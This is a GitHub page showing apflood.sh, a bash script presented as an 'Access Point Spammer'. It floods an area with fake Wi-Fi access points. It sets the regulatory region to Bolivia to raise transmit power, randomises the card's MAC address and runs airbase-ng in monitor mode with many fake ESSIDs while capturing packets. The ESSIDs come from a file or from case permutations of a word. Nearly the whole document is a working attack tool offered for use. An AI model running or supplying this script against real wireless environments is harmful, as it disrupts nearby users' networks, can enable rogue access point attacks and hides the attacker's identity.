-
Notifications
You must be signed in to change notification settings - Fork 7
/
apflood.sh
executable file
·171 lines (134 loc) · 3.95 KB
/
apflood.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/bin/bash
#Author : d4rkc4t
#@Author - Wong Fei Zhu (13lk_n1nj4) - Interactive and or Kali2
#Color formatters
RED=$(echo -e "\e[1;31m")
BLU=$(echo -e "\e[1;36m")
GRN=$(echo -e "\e[1;32m")
RST=$(echo -e "\e[0;0;0m")
fbssid(){ #Generate random mac addresses (same amount of ESSIDS in essid file)
printf $GRN"[+] Generating BSSIDs ... Please wait.."$RST
BSSID_LIST=()
#Generate Random MAC Addresses For Our Access Points
for ((i = 0; i <=$NUM_OF_ESSIDS ; i++))
do
BSSID_LIST[$i]=$(openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//')
done
#write out bssids to tmp file
for i in "${BSSID_LIST[@]}"
do
#printf $i"\n"
echo $i >> BSSID_FILE
done
}
fapflood(){
#set region to Bolivia - makes power boosting possible
printf $GRN"\n[+] Starting monitor mode "$RST
iw reg set BO > /dev/null
printf $GRN"\n[+] Changing MAC and attempting to boost power on "$RST$BLU$NIC$RST
ifconfig $NIC down > /dev/null
macchanger -a $NIC > /dev/null
iwconfig $NIC mode monitor > /dev/null
ifconfig $NIC up > /dev/null
printf $GRN"\n[+] Started monitor mode on "$RST$BLU$NIC$RST
printf "\n"
printf $GRN"\n[+] The area is now flooded with your APs "$RST
#deploy the fake ap's
airbase-ng -i $NIC -Z 2 -I 10 -c 6 -P --essids $ESSID_FILE -x 200 $NIC -F CAPTURED_PACKETS | grep 'fff'&
sleep 0.5
echo
read -p $GRN"[*] Press Enter or Ctrl+C stop flooding and to clean up"
fexit
}
fmangle() #Mangle a word and get 30 permutations
{
if [ $MANGLE_WORD -z ] 2> /dev/null
then
read -p $BLU"[+] Please enter the word to mangle: "$RED MANGLE_WORD
fi
echo $GRN"[+] Mangling $RED$MANGLE_WORD$GRN.."
LEN=$(echo $MANGLE_WORD | wc -c)
LEN=$((LEN - 1))
crunch $LEN $LEN 01 -o binmap 2> /dev/null
BINMAP=$(cat binmap | head -n 30)
rm binmap
rm mangled 2> /dev/null
LETTERS="$(echo -e $MANGLE_WORD | sed 's/\(.\)/\1\n/g')"
PLACE=0
for PATTERN in $BINMAP
do
PATMAP="$(echo -e $PATTERN | sed 's/\(.\)/\1\n/g' | head -n -1)"
for BIT in $PATMAP
do
SPLACE=$((PLACE + 1))
LET=$(echo "$LETTERS" | sed -n "$SPLACE"p)
if [ $BIT = 1 ] 2> /dev/null
then
echo ${LET^} >> onemang
else
echo $(echo $LET | tr '[:upper:]' '[:lower:]') >> onemang
fi
PLACE=$((PLACE + 1))
done
if [ $PLACE -ge $LEN ] 2> /dev/null
then
PLACE=0
cat onemang >> mangled
echo \ >> mangled
rm onemang
fi
done
SORT=$(cat mangled | tr -d '\n')
echo "$SORT" | tr ' ' '\n' | tail -n +1 | uniq | head -n -1 > mangled
MANGLED_FILE='mangled'
}
fexit() #Clean temp files and exit
{
echo
#remove all the generated files files
rm -rf tmpe 2> /dev/null
rm BSSID_FILE 2> /dev/null
rm mangled 2> /dev/null
rm logfile 2> /dev/null
#comment/uncomment to remove .cap file during cleanup
rm *.cap 2> /dev/null
killall -9 airbase-ng 2> /dev/null
service network-manager restart 2> /dev/null
printf $RED"[*] $NIC has been shut down,$GRN Goodbye...\n$RST"
exit
}
fprompts(){
clear
printf $GRN"\n*****Access Point Spammer - Flood Area with Fake Access Points*****\n"$RST
printf $GRN"***To get started, let's get some information firs\***\n"$RST
#read wireless card name
printf $BLU"\n[+] Enter your Network Interface Card: "$RST
read NIC
#ask for mangle or not
printf $BLU"\n[+] Would you like to use the"$RST$RED" Mangler "$RST$BLU"(y/n)?"$RST$BLU"\nEnter "$RST$GRN"(y)"$RST$BLU" for mangler and "$RST$RED"(n)"$RST$BLU" for ESSID file: "$RST
read MANGLER
#branch on mangler or not
if [ $MANGLER = "y" ]; then
#printf $BLU"[+] Enter the word you would like to mangle : "$RST
#read MANGLE_WORD
fmangle
ESSID_FILE=$MANGLED_FILE
NUM_OF_ESSIDS=$(wc -l < $ESSID_FILE)
fbssid
fapflood
else
#read access point file name/location
printf $BLU"\n[+] Enter the path to you ESSID file: "$RST
read ESSID_FILE
if [ ! -e $ESSID_FILE ]; then
printf $RED"[-] File does not exist.. exiting\n"$RST
exit
else
NUM_OF_ESSIDS=$(wc -l < $ESSID_FILE)
fbssid
fapflood
fi
fi
}
#Prompt for user inputs
fprompts